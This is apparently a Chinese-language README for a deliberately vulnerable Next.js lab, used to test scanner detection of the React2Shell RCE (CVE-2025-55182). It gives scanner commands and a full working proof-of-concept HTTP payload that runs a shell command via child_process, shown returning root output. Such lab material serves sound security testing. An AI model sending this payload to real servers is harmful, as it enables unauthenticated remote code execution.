此仓库提供了一个最小化的、故意存在漏洞的环境，用于测试安全扫描器对影响 React Server Components 和 Next.js 的最新严重 RCE 漏洞（React2Shell）的检测能力。
CVE-2025-55182：在 React Server Components 版本 19.0.0、19.1.0、19.1.1 和 19.2.0 中存在一个预认证远程代码执行漏洞，涉及以下包：react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack。存在漏洞的代码不安全地从 HTTP 请求反序列化 Server Function 端点中的 payload。
CVE-2025-66478：追踪了对使用 App Router 的 Next.js 应用程序的下游影响。
[!Warning] 此环境故意存在漏洞，绝不可暴露于公共互联网或用于生产环境。
这是一个极小的 Next.js 项目，它：
next：16.0.6react：19.2.0react-dom：19.2.0[!TIP] 固定
react和react-dom是可选的，因为受影响的next版本由于 app router 默认就是易受攻击的。
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
使用 AssetNote 提供的扫描器：
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
会返回：
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://127.0.0.1:3000 - Status: 303
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
会返回：
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://127.0.0.1:3000
PoC HTTP payload 来自此处。
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
会返回：
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
